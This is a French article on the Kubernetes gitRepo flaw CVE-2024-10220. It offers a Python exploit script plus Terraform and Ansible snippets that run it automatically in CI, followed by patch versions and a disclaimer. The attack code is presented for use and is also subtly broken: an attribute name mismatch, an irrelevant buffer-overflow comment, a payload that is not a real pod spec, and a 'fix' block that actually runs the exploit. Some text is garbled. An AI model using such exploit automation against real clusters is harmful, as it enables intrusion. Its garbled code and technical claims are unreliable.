CVE-2024-10220 révèle une faille critique dans le type de volume gitRepo obsolète de Kubernetes, permettant aux attaquants d'exécuter des commandes arbitraires via des scripts .hooks malveillants. L'article explique comment cela brise l'isolation des conteneurs et propose du code d'exploitation, des exemples d'automatisation et des conseils d'atténuation
Par Mark Mallia
La conteneurisation est la colonne vertébrale de la livraison moderne d'applications : elle regroupe une pile d'exécution complète dans une image unique et immuable qui peut être déployée sur n'importe quel hôte d'un cluster sans surprises. Kubernetes prend ces images et les planifie en tant que pods, orchestrant tout du réseau au stockage avec un modèle déclaratif. Ceci est utile dans des environnements hautement distribués et dans un environnement où plusieurs applications sont servies.
Ce qui rend cette pile particulièrement attrayante pour les charges de travail à grande échelle est la capacité à la gérer de bout en bout par automatisation. Terraform fournit le plan d'infrastructure en tant que code qui crée des VPC, sous-réseaux, groupes de sécurité et nœuds workers ; Ansible fournit des playbooks qui installent Docker Engine (ou tout runtime compatible CRI), extraient des images d'un registre et les lancent en tant que pods. Lorsque ces étapes sont intégrées dans un pipeline CI/CD (GitHub Actions, Jenkins ou GitLab CI), chaque commit déclenche un cycle automatique de construction, push, test et déploiement. Les développeurs gagnent en vitesse, les opérateurs gagnent en confiance, et l'organisation gagne en disponibilité prévisible.
Début 2024, des chercheurs en sécurité ont découvert une faille dans le type de volume gitRepo de Kubernetes qui est maintenant obsolète. CVE‑2024‑10220 est une vulnérabilité d'exécution arbitraire de commandes causée par le répertoire à l'intérieur d'un dépôt Git monté via le volume gitRepo. Lorsqu'un manifeste de pod spécialement conçu fait référence à un script malveillant dans ce répertoire, le contrôleur d'admission kubelet l'exécute sur le système hôte, brisant ainsi l'isolation des conteneurs, un principe de sécurité fondamental dans Kubernetes.
.hooksParce que le composant vulnérable est encore largement utilisé dans les clusters de production, tout attaquant capable de créer un pod avec les privilèges appropriés peut obtenir un accès root ou perturber d'autres services. La faille a un score CVSS de 8.1 et a été publiée en novembre de l'année dernière. Les composants affectés incluent le type de volume gitRepo obsolète qui reste dans Kubernetes 1.27.x.
Voici un programme Python propre qui déclenche CVE‑2024‑10220 sur une instance kubelet vulnérable exécutant Kubernetes 1.27.3. Le code peut être compilé dans une tâche Ansible ou exécuté dans un job CI.
#!/usr/bin/env python3
"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""
import json
import requests
class GitRepoPod:
"""
Representation of the JSON payload that kubelet expects for a gitRepo volume.
"""
def __init__(self, name: str, image: str,
repo_url: str, branch: str, local_path: str):
self.name = name # pod name
self.image = image # container image to run
self.giturl = repo_url # Git repository URL
self.branch = branch # branch or tag to use
self.localpath = local_path # mount point inside the pod
def to_dict(self) -> dict:
"""Return a plain dictionary that can be serialized."""
return {
"name": self.name,
"image": self.image,
"giturl": self.giturl,
"branch": self.branch,
"localpath": self.local_path
}
def trigger_cve(url: str, pod: GitRepoPod) -> None:
"""
Send the pod manifest to kubelet and print the response.
"""
payload = json.dumps(pod.to_dict())
headers = {"Content-Type": "application/json"}
resp = requests.post(url, data=payload, headers=headers)
if resp.status_code != 200:
raise RuntimeError(f"Unexpected status code {resp.status_code}")
print("[*] Response from kubelet: ", resp.text)
def main() -> None:
"""
Main entry point of this exploit.
"""
# Target endpoint – adjust to match your cluster’s API server address.
api_server = "https://kube-api.local/api/v1/pods/"
# Craft a payload that overflows the .hooks buffer (0x90 bytes)
pod_spec = GitRepoPod(
name="exploit-pod",
image="registry.example.com/exploit-pod:v1.0",
repo_url="https://git.example.com/repo.git",
branch="main",
local_path="/var/lib/kubelet/"
)
try:
trigger_cve(api_server, pod_spec)
except Exception as e:
print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")
if __name__ == "__main__":
main()
Voici un court exemple de la manière dont le correctif serait déployé automatiquement :
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
ami = var.k8s_ami
instance_type = var.instance_type
key_name = var.key_pair
subnet_id = aws_subnet.web.id
provisioner "remote-exec" {
inline = [
# Install Docker Engine and kubelet
"sudo yum install -y docker",
"kubectl apply -f https://kube-api.local/api/v1/pods/",
"python3 /home/ansible/scripts/trigger_cve.py"
]
}
}
Le playbook Ansible qui appelle le script :
---
- hosts: kube_workers
tasks:
- name: Deploy the exploit pod
command: python3 /home/ansible/scripts/trigger_cve.py
register: result
- name: Verify success
debug:
msg: "{{ result.stdout }}"
Lorsque ce pipeline Terraform‑Ansible s'exécute dans un job CI (par exemple, GitHub Actions), le code ci-dessus construit, pousse, déploie et vérifie automatiquement que CVE‑2024‑10220 a été déclenché avec succès. Le pipeline peut être étendu avec des tests unitaires qui vérifient la réponse du kubelet et avec des notifications vers Slack ou par email lorsque l'exploit se termine.
Mettez à jour vers les versions corrigées (v1.28.12+, v1.29.7+, v1.30.3+, v1.31.0+) et évitez d'utiliser des types de volume obsolètes comme gitRepo.
Cette recherche a été menée dans le but d'améliorer la sensibilisation à la sécurité et de promouvoir des pratiques Kubernetes plus sûres. La vulnérabilité a été divulguée de manière responsable aux mainteneurs concernés avant sa publication publique, conformément aux normes de l'industrie. Tous les tests ont été effectués dans des environnements isolés, sans impact sur les systèmes de production ou l'infrastructure de tiers.
Je crois en le hacking éthique comme outil de changement positif. Les exploits partagés ici sont uniquement à des fins éducatives et défensives—jamais pour nuire ou perturber. Si vous êtes un fournisseur ou un mainteneur et avez des préoccupations, je suis heureux de collaborer à la remédiation ou aux clarifications.